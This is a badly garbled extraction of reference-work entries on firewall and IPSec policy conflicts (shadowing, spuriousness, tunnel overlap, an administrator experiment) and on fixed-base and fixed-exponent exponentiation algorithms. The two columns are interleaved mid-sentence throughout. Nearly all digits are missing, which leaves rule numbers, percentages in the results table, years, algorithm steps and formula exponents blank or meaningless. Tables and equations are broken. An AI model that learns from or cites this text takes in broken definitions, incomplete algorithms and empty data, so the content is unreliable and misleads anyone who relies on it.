other to provide the desired security services. IPSec oper- be encrypted using ESP tunneling, except for the traffic
ations can be performed either at the traffic source and coming from host A.
destination (transport mode) or at intermediate security In the rest of this chapter we proceed with the classifi-
gateways (tunnel mode), in order to allow for source-based cation and analysis of conflicts in network security policies.
or domain-based security. In transport mode the proto- Figure shows the organization of our taxonomy of these
cols provide protection primarily for upper layer protocols conflicts. We divide the conflicts into two main categories:
without changing the original IP headers. However, in tun- access-list conflicts that may exist between the rules in
nel mode, the protocols are applied to the entire IP packet the access policy, and map-list conflicts that may exist in
and may modify the source and destination address of the the map policy. We further classify the access-list conflicts
original IP header to be the intermediate security gateways. into two subcategories: intra-policy conflicts that may exist
Network security policy rules can be written using the within a single policy, and inter-policy conflicts between
syntax shown in Fig. . The access_list is used to define the policies in different devices. Finally, we identify the
firewall policies as well as IPSec protection rules, while possible policy conflicts in each subcategory.
the map_list is used to define IPSec transformation rules.
A source or destination IP address can be specified as Theory and Applications
a single value or a range of values with a common net-
work prefix. A source or destination port number is given Modeling of Rule Relations
as a single value or an interval of values. A transform As rules are matched sequentially, the inter-rule relation
is any cryptographic service that can be used to pro- or dependency is critical for determining any conflict in
tect network traffic. These security services are practically the security policy. In other words, if the rules are dis-
IPSec AH and ESP either in transport or tunnel mode joint (no inter-rule relation), then any rule ordering in
along with the cryptographic algorithm and the necessary the security policy is valid. Therefore, classifying all types
cryptographic parameters. Figure shows an example of of possible relations between filtering rules is a first step
to understand the source of conflicts due to policy mis-
configuration. In this section we describe all the relations
that exist between filtering rules by comparing the fields
access list := access rule[. . . , access rule] of filtering rules. The relation between field i in rule Rx
access rule := order, f ilter, action and the corresponding field in rule Ry can be either equal,
f ilter := transport, src ip, src port, dst ip, dst port subset, superset, or distinct. For example, the IP address
action := protect | bypass | discard ... is distinct from ..., but it is a subset of
map list := map rule[. . . , map rule] ...*. We can then define the filtering rule relations
map rule := priority, f ilter, transf orm list as follows:
transf orm list := transf orm[. . . , transf orm]
Exactly matching rules (Rx =Ry ). Rules Rx and Ry are
transf orm := sec protocol, encaps mode, parameters exactly matched if every field in Rx is equal to the cor-
sec protocol := AH | ESP responding field in Ry . In the following example, Rule
encaps mode := Transport | Tunnel tunnel dst and Rule are exactly matching:
Firewalls. Fig. The syntax of network security policy state- 1: tcp 140.192.37.* any 61.20.33.* 80
ments 2: tcp 140.192.37.* any 61.20.33.* 80
Firewalls F
TCP 1.1.*.* : any 2.2.*.* : 21 discard

TCP 1.1.1.1 : any 2.2.*.* : any protect TCP 1.1.1.1 : any 2.2.*.* : any bypass
TCP 1.1.1.1 : any 2.2.2.3 : any AH Transport {SHA1} TCP 1.1.*.* : any 2.2.*.* : any protect
TCP 1.1.1.* : any 2.2.2.* : any ESP Tunnel 6.6.6.6 {3DES}
Host A1 (1.1.1.1) Host B1 (2.2.2.1)
Internet
Host A2 (1.1.1.2) Host B2 (2.2.2.2)
Firewall/IPSec Firewall/IPSec
Gateway Gateway
SGA (5.5.5.5) SGB (6.6.6.6)
Host A3 (1.1.1.3) TCP 2.2.*.* : any 1.1.*.* : 21 discard Host B3 (2.2.2.3)

TCP 2.2.2.3 : any 1.1.*.* : any bypass
TCP 2.2.*.* : any 1.1.*.* : any protect TCP 2.2.2.3 : any 1.1.*.* : any protect
TCP 2.2.2.* : any 1.1.1.* : any ESP Tunnel 5.5.5.5 {3DES} TCP 2.2.2.3 : any 1.1.1.1 : any AH Transport {SHA1}
Firewalls. Fig. Example of a typical Firewall/IPSec conguration. Only hosts A and B are IPSec capable. Security gateways SGA
and SGB perform both rewall ltering and IPSec protection operations F
Network Security
Policy Conflicts
Access-list Map-list
Conflicts Conflicts
Intra-policy Inter-policy Nested- Multi-

Conflicts Conflicts session transform
Conflicts Conflicts
Shadowing Redundancy Correlation Exception Shadowing Spuriousness
Partial Complete Partial Complete

Shadowing Shadowing Spuriousness Spuriousness
Firewalls. Fig. Classication chart of network security policy conicts
Inclusively matching rules (Rx Ry ). Rule Rx inclusively 6: tcp 140.192.*.* any 61.20.33.* 128-512
matches Ry if the rules do not exactly match and if every
field in Rx is a subset or equal to the corresponding field Disjoint rules. Rules Rx and Ry are completely disjoint if
in Ry . Rx is called the subset match while Ry is called the every field in Rx is not a subset and not a superset and
superset match. In the following example, Rule inclu- not equal to the corresponding field in Ry . However,
sively matches Rule . Rule is the subset match of the rules Rx and Ry are partially disjoint if there is at least
relation while Rule is the superset match: one field in Rx that is a subset or a superset or equal to
3: tcp 67.92.37.20 any 61.20.33.* 80 the corresponding field in Ry , and there is at least one
4: tcp 67.92.37.* any 61.20.*.* 80
field in Rx that is not a subset and not a superset and
not equal to the corresponding field in Ry . Rule and
Correlated rules (Rx Ry ). Rules Rx and Ry are correlated Rule in the following example are partially disjoint:
if at least one field in Rx is a subset or partially inter-
sects with the corresponding field in Ry , and at least one 7: tcp 140.192.37.* any 61.20.*.* 80
field in Ry is a superset or partially intersects with the 8: tcp 140.192.37.* any 61.20.33.* 21
corresponding field in Rx , and the rest of the fields are
equal. This means that there is an intersection between
the address space of the correlated rules although nei- Classication of Access-List Conicts
ther one is subset of the other. In the following example, After identifying the possible relations between rules, we
Rule and Rule are correlated: are now ready to study the types of rule conflicts. In this
section, we focus the discussion on the conflicts that may
5: tcp 140.192.37.* any 61.20.*.* 0-256 exist between access list rules. These conflicts may exist
F Firewalls
between rules in the same security device (intra-policy rules and alert the administrator to correct this error by
conflicts) or in different devices (inter-policy conflicts). reordering or removing the shadowed rule.
Intra-Policy Access-List Conicts Intra-policy correlation As described in section Modeling

It is very common to find filtering rules that are inter- of Rule Relations, if two rules are correlated then there
related, i.e., exactly matched, inclusively matched, or cor- is some traffic that matches both rules. Thus, if the two
related. In this case, different rule orderings may imply correlated rules have different actions, then the action per-
different and incorrect policy semantics (i.e., matching formed on the traffic is dependent on the ordering of the
behavior). Thus, if the related rules are not carefully two rules. This dependency is not intuitive and leads to
ordered, some rules may be concealed by other rules, ambiguity in defining the security policy. A correlation
resulting in an incorrect policy. In this section, we classify conflict between two rules exists if the rules are correlated
different conflicts that may exist among the rules in a single and they have different filtering actions. For example, a cor-
firewall or IPSec access policy. relation conflict exists between Rule and Rule in SGB in
Fig. . The two rules with this ordering imply that all traffic
Intra-policy shadowing A rule is shadowed when every that is coming from ... and going to ... is protected.
packet that could match this rule is matched by some However, if their order is reversed, the same traffic will
preceding rule with a different action. Consequently, the be discarded. Correlation is considered a conflict warn-
shadowed rule will never have an effect in the policy. Typ- ing because the correlated rules imply an action that is
ically, rule Ry is shadowed by rule Rx if Rx precedes Ry not explicitly handled by the policy. Therefore, in order to
and Rx exactly or inclusively matches Ry and the two rules resolve this conflict, the correlation between rules should
have different actions. For example, in Fig. Rule in be discovered and the user should choose the proper rule
SGA is shadowed by Rule because Rule will match and order that complies with the security policy requirements.
thereby conceal all the traffic that would match Rule . Otherwise, unexpected action might be performed on the
Shadowing is a critical error in the policy, as the shadowed traffic that matches the intersection of the correlated rules.
rules become obsolete and never take effect. This might
cause a legitimate traffic to be blocked or illegitimate traffic Intra-policy exception Exception rules are very common in
to be permitted. Therefore, as a general guideline, if there is network security policies. A rule is an exception of a fol-
an inclusive or exact match relationship between two rules, lowing rule if they have different actions, and the following
any superset (or general) rule should come after the sub- rule is a superset match (it could match all packets of the
set (or specific) rule. It is mandatory to discover shadowed preceding rule). For example, in SGA in Fig. , Rule is an
1: TCP 1.1.1.1 : any 2.2.2.1 : any protect

3: TCP 1.1.1.3 : any 2.2.2.3 : any bypass
4: TCP 1.1.1.2 : any 2.2.2.3 : any discard
5: TCP 1.1.1.* : any 2.2.2.2 : any discard
6: TCP 1.1.1.* : any 2.2.2.* : any bypass
8: TCP 1.1.1.1 : any 2.2.2.* : any discard
Host A1 (1.1.1.1) Host B1 (2.2.2.1)
Internet
Host A2 (1.1.1.2) Host B2 (2.2.2.2)

Firewall/IPSec Gateway Firewall/IPSec Gateway
SGA (5.5.5.5) 1: TCP 1.1.1.1 : any 2.2.2.1 : any protect SGB (6.6.6.6)
Host A3 (1.1.1.3) Host B3 (2.2.2.3)
6: TCP 1.1.1.1 : any 2.2.2.3 : any discard
7: TCP 1.1.1.* : any 2.2.2.1 : any protect
8: TCP 1.1.1.2 : any 2.2.2.* : any discard
Firewalls. Fig. Example IPSec access-list policy with intra- and inter-policy conicts. Solid lines indicate permitted trac, while
dotted lines indicate blocked trac
Firewalls F
exception of Rule . These two rules imply that all the traffic this path in the direction of flow, a preceding device is
coming from the address ...* to ... will be discarded, called an upstream device whereas a following one is called
except the traffic coming from .... Exception is often a downstream device. Using the above network model, we
used to exclude a specific part of the traffic from a general can say that for any traffic flowing from sub-domain DA
filtering action. This is not in general an error; however, it to sub-domain DB a conflict exists if one of the following
is important to identify exceptions because the exception conditions holds:
rules change the policy semantics, which may or may not
. The most-downstream device permits traffic that is
be desirable. This, for example, might cause accepted traffic
blocked by any of the upstream devices.
to be blocked or denied traffic to be permitted. Thus, this
. The most-upstream device permits traffic that is
type of conflict is considered a warning that is important
blocked by any of the downstream devices.
to be highlighted to the administrator.
On the other hand, all intermediate devices should per-
Intra-policy redundancy A rule is redundant when every mit/bypass any traffic that is permitted/protected by the
packet that could match this rule is matched by some other most-upstream and most-downstream device such that the
F
rule that has a similar action. In other words, if the redun- flow can reach its destination.
dant rule is removed, the behavior of the security policy
remains unchanged. Rule Ry is redundant to rule Rx if Rx Inter-policy shadowing This conflict is similar to the one
precedes Ry and Ry exactly or inclusively matches Rx and discussed in section Classification of Access-List Con-
the two rules have similar actions. However, rule Rx can flicts except that it occurs between rules in two different
be redundant to Ry if Rx inclusively matches Ry and there policies/devices. Thus, inter-policy shadowing occurs if the
exists no rule in-between that is an exception or correlated upstream policy blocks some traffic that is permitted by the
with Rx . Figure shows two rule redundancy examples downstream policy.
in SGA : Rule with Rule is the first case, and Rule There are two cases for shadowing between polices. The
with Rule is the second. Redundancy is considered a first case occurs if the traffic permitted (or protected) by a
problem in firewall policies because it increases the policy downstream rule, Rd , in SGB is actually discarded by the
size and consequently the search time and space of packet upstream rule, Ru , in SGA . In the second case, the traffic
filtering, while it does not contribute to the policy seman- protection is required by Ru in SGA but not by any Rd in
tics. Thus, it is important to discover redundant rules so SGB . In IPSec, this causes the security association nego-
that the administrator may modify or remove them alto- tiation to fail and consequently results in discarding this
gether. In general, to avoid redundant rules, a superset traffic at the upstream device. In Fig. , Rule in SGA and
rule following a subset rule should have a different filtering Rule in SGB show an example of the first case. An exam-
action. ple for the second case is Rule in SGA and Rule in SGB . If
the rules exactly match, then all the traffic permitted by Rd
Inter-Policy Access-List Conicts is blocked by Ru , and we have complete shadowing. The two
Even if every device policy in the network does not contain examples above are considered complete shadowing. How-
any of the intra-policy conflicts described in section Clas- ever, if the rules inclusively match, then part of the traffic
sification of Access-List Conflicts, conflicts could exist permitted by Rd is blocked by Ru , and we have partial shad-
between policies of different devices. For example, a fire- owing. Rule in SGA and Rule in SGB are an example of
wall might block traffic that is permitted by another down- partial shadowing.
stream firewall, or an upstream IPSec device might protect Shadowing is considered a conflict because it prevents
traffic that is not protected by the peer downstream device. the traffic desired by some nodes from flowing to the end
In both cases, the traffic will not reach the destination as it destination.
will be dropped by the upstream devices. In this section,
we first define criteria of inter-policy conflicts and then Inter-policy spuriousness This is another conflict that has
classify the conflicts that may exist between an upstream serious consequence for network security as it allows for
and a downstream access policy for both firewall and IPSec unwanted traffic to flow in the network. Traffic is called
devices. spurious if the upstream policy permits some traffic that
Referring to Fig. , we assume a traffic stream flowing is blocked by a downstream policy.
from sub-domain DA to sub-domain DB across multiple Spuriousness can occur when traffic is permitted by an
cascaded policy enforcement points installed on the net- upstream rule, Ru , in SGA but discarded (or protected) by a
work path between the two sub-domains. At any point on downstream rule, Rd , in SGB . Obviously, this traffic will not
F Firewalls
reach the destination domain DB but yet it was unnecessar- Overlapping-Session Conicts
ily allowed to flow through the network till it got discarded. IPSec security policy allows for nesting multiple secure ses-
In Fig. , Rule in SGA and Rule in SGB show an exam- sions or tunnels by applying a number of map-list rules to
ple of spuriousness. If the rules exactly match, then all the the same traffic (e.g., Fig. a). In case of intra-policy nested
traffic permitted by Ru is blocked by Rd , and we have com- IPSec sessions, each session starts at the source (encapsu-
plete spuriousness. If the rules inclusively match, then part lation point) and terminates at a selected peer on the path
of the traffic permitted by Ru is blocked by Rd , and we have (decapsulation point) specified in the rule, and the ses-
partial spuriousness. An example of partial spuriousness is sions are applied in the order of their priorities in the
Rule in SGA and Rule in SGB in the same figure. policy. If the decapsulation point of the firstly applied ses-
Spuriousness is a critical conflict because it allows sion (inner tunnel) (e.g., ... in Fig. a) happens to be
unwanted traffic to flow across the network, increasing the located before that of a subsequent session (outer tunnel)
network vulnerability to various network attacks such as (e.g., ... in Fig. a) on the traffic path, then the traffic
port scanning, denial of service, etc. will be transmitted insecurely as clear text. This happens
simply because the destination peer of the outer tunnel
Classication of Map-List Conicts in this case returns the traffic after decapsulation back to
The map-list is critical because it is the part of the policy the destination peer of the inner tunnel, which in turn
that specifies the traffic security requirements. In this sec- decapsulates and forwards the traffic to the destination as
tion, we identify the rule conflicts that may exist between clear text. This tunnel overlapping conflict occurs because
the map list rules in a single (intra-policy) IPSec device or the rules were not ordered correctly in the map-list such
between multiple (inter-policy) IPSec devices. As a result that the priorities of IPSec sessions terminating at further
of such conflicts, traffic might be transmitted insecurely or points from the source are higher than the priorities of the
unnecessary redundant protection operations are applied ones with closer termination points. The example in Fig. a
to the same traffic. We also show examples of these conflicts shows two map rules applying to the traffic flowing from
in IPSec traffic transformation policies. host A to B. The first rule encapsulates the traffic in a tunnel
2
3
Host A (1.1.1.1) IPSec Gateway IPSec Gateway Host B (2.2.2.2)

SGA (5.5.5.5) SGB (6.6.6.6)
TCP 1.1.1.1 : any 2.2.*.* : any protect
TCP 1.1.1.1 : any 2.2.2.* : any ESP Tunnel 5.5.5.5 {3DES}
TCP 1.1.1.1 : any 2.2.2.2 : any AH Tunnel 6.6.6.6 {SHA1}
a
TCP 1.1.1.1 : any 2.2.*.* : any protect

TCP 1.1.1.1 : any 2.2.*.* : any ESP Tunnel 6.6.6.6 {3DES}
1 2
3
4
Host A (1.1.1.1) IPSec Gateway IPSec Gateway IPSec Gateway Host B (2.2.2.2)
SGA (5.5.5.5) SGB (6.6.6.6) SGC (7.7.7.7)
TCP 1.1.*.* : any 6.6.*.* : any protect

TCP 1.1.*.* : any 6.6.*.* : any AH Tunnel 7.7.7.7 {SHA1}
b
Firewalls. Fig. Examples for overlapping-session conicts in the policy of (a) single device, and (b) multiple devices. The block
arrows indicate the tunnel between two end-points. The line arrows indicate the trac ow path with the sequence of events
circled
Firewalls F
to SGA , then the second rule re-encapsulates the traffic in cause extra overhead without any further improvement in
another tunnel to SGB . However, this rule ordering results the traffic protection, particularly if the new protection is
in incorrect nesting that causes the traffic to be sent back weaker than the existing one. For example, applying an
from SGB to SGA , and then decapsulated and forwarded as AH tunnel on traffic already encapsulated in an ESP tunnel
clear text to B. does not improve the security protection.
Similarly, the same problem might happen due to inter- The multi-transform conflict occurs when two rules
policy conflict between multiple IPSec gateways. However, match a common flow, and the secondly applied rule uses
in this case the only difference is the encapsulation point a weaker transform on top of a stronger one applied by the
(start of the tunnel) might be at different point on the path. other rule. For flexibility, the strength of any transform can
Figure b shows an example of two overlapping tunnels: be user-defined such that if a transformation has a larger
from host A to ... and from ... to .... As in the strength value, then it provides better protection, and
previous case, the outer tunnel decapsulation peer (...) vice versa.
comes after the inner tunnel decapsulation peer (...)
on the path, causing a similar security violation. The exam-
F
ple in Fig. b illustrates this case. In this example, two IPSec
Open Problems
Future firewall policies will allow multiple actions that are
sessions are used to protect the traffic flowing from A to B.
not necessary mutually exclusive. In this case, actions are
The first session starts at A and encapsulates the traffic in a
not necessary contradiction, thereby new conflict anal-
tunnel terminating at SGB. The second session starts at SGA
ysis need to be investigated to consider this kind of
and re-encapsulates the traffic in another tunnel terminat-
polices.
ing at SGC . The traffic is first received and decapsulated by
SGC and then forwarded back to SGB . SGB decapsulated
the traffic and forwards it to B as clear text. Experimental Results
In order to assure correct overlapping of inter-policy In this section, we evaluate the effectiveness of our classifi-
tunnels, we must guarantee the decapsulation peers of the cation in discovering the conflicts in manually produced
outer tunnels come first in the path. In other words, the security policies. We implemented a set of conflict dis-
packets should be decapsulated in reverse order of their covery algorithms to discover the security policy conflicts
encapsulation at subsequent points on the traffic path. This studied in sections Classification of Access-List Conflicts
requires that the sessions for the same traffic must be either and Classification of Map-List Conflicts []. In these
completely nested (i.e., the end-points of one session lie algorithms, we represent the security policy as Boolean
between the end-points of the other session) or cascaded expressions in order to to enable the analysis of policy
(i.e., none of the end-points of any session lies between semantics and the identification of rule conflicts using
the end-points of the other session). Otherwise, the traf- Boolean operators such as assignment and implication.
fic will be sent unsecured over parts of the path due to this We use Ordered Binary Decision Diagram (OBDD) []
conflict. to represent and manipulate the policy expressions. We
So in general, by looking at any IPSec policy, this con- implemented these algorithms in a software tool called
flict exists if two rules match a common flow, and the the Security Policy Advisor or SPA. In this section, we
tunnel end-point of the firstly applied rule comes before present our evaluation of the usability of the policy analysis
the tunnel end-point of the following rule in the path from techniques described in this paper.
source to destination. Notice that this conflict can only To assess the practical value of our techniques, we used
occur with two tunneled transforms or with a transport the SPA tool to analyze real firewall and IPSec policy rules
transform followed by a tunnel. in our university network as well as in some local indus-
trial networks in the area. In many cases, the SPA has
Multi-Transform Conicts proven to be effective by discovering many policy conflicts
IPSec also allows for multiple transforms to be applied by that were not discovered through human visual inspec-
the same gateway or multiple gateways in the path on the tion. We made an attempt to quantitatively evaluate the
same flow from source to destination. This gives the user practical usability of the SPA by conducting a set of exper-
the flexibility to combine different IPSec protection actions iments that consider the level of network administrator
on the same traffic. However, some of these combinations expertise and the frequency of occurrence of each conflict
provide weak protection, such as applying ESP transport type. In this experiment, we created two IPSec policy exer-
after AH transport because ESP transport does not provide cises and recruited network administrators with varying
IP header protection. Moreover, other combinations may level of expertise in the field ( experts, intermediate
F Fixed Window Exponentiation
Firewalls. Table The percentage of administrators who created intra- and inter-policy IPSec conicts
Intra-Policy Conicts Inter-Policy Conicts

Access-list Overlapping-session Multi-transform Access-list Overlapping-session Multi-transform
Experience Conicts Conicts Conicts Conicts Conicts Conicts
Expert % % % % % %
Intermediate % % % % % %
Beginner % % % % % %
Conict type % % % % % % %
and beginners) to complete each exercise. The exer- . Narain S, Levin G, Malik S, Kaul V () Declarative infrastruc-
cise included writing IPSec access list and map list rules ture configuration synthesis and debugging. J Netw Syst Manag
:
based on a set of security policy requirements for nine
. Yuan L, Mai J, Su Z, Chen H, Chuah C, Mohapatra P () FIRE-
interconnected networks with IPSec security gateways MAN: A frameworkkit for firewall modeling and analysis. In:
(intermediate and end-point gateways.) We then used the th IEEE symposium on security and privacy, Oakland, May
SPA tool to analyze the rules and count different types
of conflicts. The experimental results in Table show the . Zhang B, Al-Shaer ES, Jagadeesan R, Riely J, Pitcher C ()
Specifications of a high-level conflict-free firewall policy lan-
percentage of individuals who introduced various types of
guage for multidomain networks. In: th ACM symposium on
conflicts in their IPSec policy configurations. access control models and technologies (SACMAT ), France,
These results show clearly that even the expert admin- June , pp
istrators created policy conflicts. A total of about % of
experts created intra-policy and inter-policy conflicts. This
figure is even much higher for intermediate and beginner
administrators (a total of about % and % created intra- Fixed Window Exponentiation
policy conflicts, and % and % created inter-policy con-
flicts, respectively). An interesting observation is that most
k -Ary Exponentiation
of the persons made configuration mistakes in configur-
ing access-list and overlapping-session rules. The table also
shows the average ratio of each conflict type relative to
the total number of conflicts discovered for each class Fixed-Base Exponentiation
of administrators. The results clearly indicate that access-
list conflicts dominate the misconfiguration errors made
Andr Weimerskirch
by administrators (% intra-policy and % inter-policy
escrypt Inc., Ann Arbor, MI, USA
access-list conflicts).
Recommended Reading Related Concepts

. Al-Shaer ES, Hamed HH () Discovery of policy anomalies Binary Exponentiation; DiffieHellman Key Agree-
in distributed firewalls. In: Proceedings of IEEE INFOCOM, ment; Fixed-Exponent Exponentiation; k-ary Expo-
Hong Kong, Mar , pp nentiation; Windows Exponentiation
. Al-Shaer E, Marrero W, El-Atway A, AlBadawi K () Net-
work configuration in a box: towards end-to-end verification of
network reachability and security. In: Proceedings of th inter- Denition
national conference on network communications and protocol The exponentiation of a fixed base element g G, with G
(ICNP), Princeton, pp some group, by an arbitrary positive integer exponent e.
. Configuring IPSec Network Security. Cisco IOS security config-
uration guide, Release ., Cisco Systems, San Jose
. Gouda MG, Liu AX, Jafry M () Verification of distributed
Theory
firewalls. In: Proceedings of IEEE GLOBECOM, New Orleans, There are many situations where an exponentiation of a
Nov , pp fixed base element g G, with G some group, by an arbi-
. Hamed H, Al-Shaer E, Marrero W () Modeling and verifica- trary positive integer exponent e is performed. Fixed-base
tion of IPSec and VPN security policies. In: Proceedings of inter-
exponentiation aims to decrease the number of multiplica-
national conference on netwrok communications and protocol
(ICNP), Boston
tions compared to general exponentiation algorithms such
. Kent S, Atkinson R () Security architecture for the internet as the binary exponentiation algorithm. With a fixed
protocol. RFC-, IETF, Nov base, precomputation can be done once and then used for
Fixed-Base Exponentiation F
many exponentiations. Thus the time for the precompu- Fixed-Base Exponentiation. Table Example for the
tation phase is virtually irrelevant. Using precomputations windowing method
with a fixed base was first introduced by Brickell, Gordon, j -
McCurley, and Wilson (and thus it is also referred to as B g g = g g g = g g g g = g
BGMW method) []. In the basic version, values g = g, A g g g = g g g = g
t
g = g , g = g , . . . , gt = g are precomputed, and then
the binary exponentiation algorithm is used without per-
is also called the window size. The exponent is written as
forming any squarings. Having an exponent e of bit-length
e = ti= ei (w )i or (et . . . e e )w where t + = n/w and
n + , such a strategy requires on average n/ multipli-
bi = (w )i for i t, and h = w . Then on average there
cations whereas the standard binary exponentiation algo-
are (t + )(w )/w + w multiplications required.
rithm requires / n multiplications. However, there is
Consider the following example [] for e = and w = ,
quite some storage required for all precomputed values,
i.e., b = . Then bi = i , i , such that the values
namely, storage for t + values. The problem of finding F
g , g , g , g , and g are precomputed. Furthermore it is
an efficient algorithm for fixed-base exponentiation can
t = and h = . The following Table displays the values
be rephrased as finding a short vector-addition chain for
of A and B at the end of each iteration of Step :
given base elements g , g , . . . , gt (cf. fixed-exponent expo-
A method to reduce the required memory storage for
nentiation). Note that there is always a trade-off between
precomputation even further was proposed by Lim and
the execution time of an exponentiation and the number t
Lee [] which is called fixed-base comb method. Here,
of precomputed group elements.
the binary representation of the exponent e is written in
In order to reduce the computational complexity, one
h rows such that there is a matrix EA (exponent array)
might use a precomputed version of the k-ary exponentia-
established. Then v columns of the matrix are processed
tion by making the precomputation phase only once. How-
one at a time. Assume that the exponent is written as e =
ever, there is time saved by multiplying together powers
(en . . . e e ) . Then select an integer h (the number of rows
with identical coefficients, and then raising the interme-
of EA) with h n + and compute a = (n + )/h (the
diate products to powers step by step. The main idea of
number of columns of EA). Furthermore, select an inte-
the fixed-base windowing method is that g e = ti= giei =
ger v (the number of columns of EA that are processed
j= (ei =j gi ) where ei < h []. Assume that g is to
h j e
at once) with v a, and compute b = a/v (the
be computed where g is fixed. Furthermore, there is a set of
number of processing steps). Let X = (Rh Rh . . . R )
integers {b , b , . . . , bt } such that any appropriate positive
be a bit-string formed from e by padding e on the left
exponent e can be written as e = ti= ei bi , where ei < h
with s such that X has bit-length ah and such that each
for some fixed positive integer h. For instance, when choos-
Ri is a bit-string of length a. Form the h a array EA
ing bi = i this is equivalent to the basic BGMW method
where row i of EA is the bit-string Ri . The fixed-base comb
described above. Algorithm takes as input the set of pre-
method algorithm has two phases. First, there is a pre-
computed values gi = g bi for i t, as well as h
computation phase that is done only once for a fixed base
and e.
element g, and then there is the exponentiation phase that
is done for each exponentiation. Algorithm [] describes
Algorithm Fixed-base windowing method
the precomputation phase.
INPUT: a set of precomputed values {g b , g b , . . . , g bt }, the
exponent e = ti= ei bi , and the positive integer h
OUTPUT: g e Algorithm Fixed-base comb method - precomputation
. A , B phase
. For j from (h ) down to do INPUT: a group element g and parameters h, v, a, and b
. For each i for which ei = j do B B g bi OUTPUT: {G[j][i] : i < h , j < v}
. For i from to (h ) do
. A A B ia
. Return A . gi g
. For i from to (h ) (where i = (ih . . . i ) ),
do
This algorithm requires at most t+h multiplications, ij
. G[][i] hj= gj
and there is storage required for t + precomputed group . For j from to (v ) do
elements. The most common version of this method is .. G[j][i] (G[][i])
jb
the case where the exponent e is represented in radix b, . Return G[j][i] for i < h , j < v
where b is a power of , i.e., b = w . The parameter w
F Fixed-Base Exponentiation
Now let Ij,k , k < b, j < v be the integer whose Fixed-Base Exponentiation. Table Example for xed-base
binary representation is column (jb + k) of EA, where col- comb method exponentiation
umn is on the right and the least significant bit of a A = gl gl gl
column is at the top. Algorithm displays the fixed-base k j l l l
comb method exponentiation phase. -

Algorithm Fixed-base comb method - exponentiation -
phase
INPUT: a group element g and an exponent e as well as the
precomputed values G[i][j]
OUTPUT: g e
. A that might occur in a column of the EA matrix are precom-
. For k from (b ) down to do puted. Note that the values of the second row are the values
. A A A of the first one to the power of a = such that later on two
ia
. For j from (v ) down to do columns can be processed at a time. Recall that gi = g .
.. A G[j][Ij,k ] A Now form the bit-string X = () with two
. Return A padded zeros. Table displays the exponent array EA. Note
that the least significant bit of e is displayed in the upper
right corner of EA and the most significant bit in the lower
The number of multiplications required in the com- left corner.
putation phase is at most a + b of which there are at Finally, Algorithm is performed. Table displays the
least b squarings. Furthermore, there is storage required steps of each iteration. Note that only the powers of the
for v(h ) precomputed group elements. Note that the three base values gi are displayed.
required computational complexity depends on h and v, The last row of the table corresponds to g e = gl gl gl =
i.e., on the available memory capacity for storing precom-

g g g = g . The fixed-base comb method is
puted elements. In practice, values h = or and v = or often used for implementations as it promises the shortest
offer a good trade-off between running time and memory running times at given memory constraints for the pre-
requirements. Again, assume e = = (), i.e., computed values. A compact description of the algorithm
t = . Choose h = and thus a = , and choose v = such can be found in [].
that b = . In the first phase Algorithm is applied. Table Further examples and explanations can be found
displays the precomputed values. Here, all possible values in [, ]. An improvement of the fixed-base windowing
method, which is called fixed-base Euclidean method, was
proposed by de Rooij []. However, in most situations the
Fixed-Base Exponentiation. Table Example for xed-base fixed-base comb method performs more efficiently.
comb method precomputation
i Applications
G[][i] g g g g g g g g g g g g A popular application of fixed-base exponentation is in
G[][i] g g g g g g g g g g g g elliptic curve cryptography, for instance for Diffie-Hellman
key agreement and ECDSA signature verification.
Fixed-Base Exponentiation. Table Example for exponent
array EA Recommended Reading
a= . Brickell EF, Gordon DM, McCurley KS, Wilson DB () Fast

exponentiation with precomputations. In: Proceedings of Euro-

crypt , LNCS , Springer-Verlag, Berlin, Heidelberg
I, I, I, I,

. de Rooij P () Efficient exponentiation using precomputa-
e = e = e = e = h =
tion and vector addition chains. In: Proceedings of Eurocrypt ,
e = e = e = e =

LNCS , Springer-Verlag, Berlin, Heidelberg
e = e =

. Gordon DM () A survey of fast exponentiation methods.
J Algorithms :
v= . Hankerson D, Hernandez JL, Menezes A () Software imple-
b = a/v = mentation of elliptic curve cryptography over binary fields. In:
Fixed-Exponent Exponentiation F
Proceedings of cryptographic hardware and embedded systems, multiple heuristics in order to compare the results, and
CHES , LNCS , Springer-Verlag, London, UK finally to choose the shortest addition chain. Such pre-
. Menezes AJ, van Oorschot PC, Vanstone SA () Handbook of
computation can be computationally very demanding,
applied cryptography. CRC Press, Boca Raton, FL
. Lim C, Lee P () More flexible exponentiation with precompu-
though. After an addition chain for an exponent e had been
tation. In: Proceedings of Crypto , LNCS , Springer-Verlag, obtained, exponentiation can be performed as described in
London, UK Algorithm .
Algorithm Addition Chain Exponentiation

INPUT: a group element g, an addition chain V = (u ,
Fixed-Exponent Exponentiation
u , . . . , us ) of length s for a positive integer e, and the asso-
ciated sequence (w , . . . , ws ), where wi = (i , i )
Andr Weimerskirch
OUTPUT: g e
escrypt Inc., Ann Arbor, MI, USA
. g g F
. For i from to s do
Related Concepts . gi gi gi
Binary Exponentiation; ElGamal Decryption; RSA . Return (gs )
Denition
Algorithm computes g e for a precomputed addition
The exponentiation of a random element g G, with G
chain for e of length s with s multiplications. For instance,
some group, by a fixed integer exponent e.
for above example of e = it is V = (, , , , , , ).
Algorithm then works as follows:
Theory
There are several situations where an exponentiation g e
of an arbitrary element g G, with G some group, by a i
fixed exponent e needs to be performed. Fixed-exponent wi - (, ) (, ) (, ) (, ) (, ) (, )
exponentiation algorithms aim to decrease the number of gi g g g g g g g
multiplications compared to general exponentiation algo-
rithms such as the binary exponentiation algorithm. They
are based on the fact that certain precomputations can be In some cases addition-subtraction chains might be
performed once for a fixed exponent. The problem of find- used to shorten the length of a chain. In such cases a
ing the smallest number of multiplications to compute g e number of the chain is the sum or subtraction of two
is equivalent to finding the shortest addition chain of e. An previous elements in the chain. For instance, the shortest
addition chain is a sequence of numbers such that each addition chain for is V = (, , , , , , , ) whereas
number is the sum of two previous ones and such that the there exists a shorter addition-subtraction chain C = (, ,
sequence starts with . For instance, an addition chain of , , , , ) []. However, addition-subtraction chains
is V = (, , , , , , ). only make sense in cases where an inversion in the under-
lying group is computationally cheap. Thus, addition-
Definition An addition chain V of length s for a positive
subtraction chains are not used for exponentiation in
integer e is a sequence u , u , . . . , us of positive integers, and
an RSA modulus but might be applied to elliptic curve
an associated sequence w , . . . , ws of pairs wi = (i , i ),
operations.
i , i < i, having the following properties: (i) u = and ul =
There are two generalized versions of addition chains.
e; and (ii) for each ui , i s, ui = ui + ui .
An addition sequence is an addition chain V = (u , . . . , us )
Fixed exponents are considered here, and the time for such that it contains a specified set of values r , . . . , rt .
precomputations is not taken into account here. However, They are used when an element g needs to be raised
determining the shortest addition chain for e is believed to multiple powers ri , i t. Especially when the
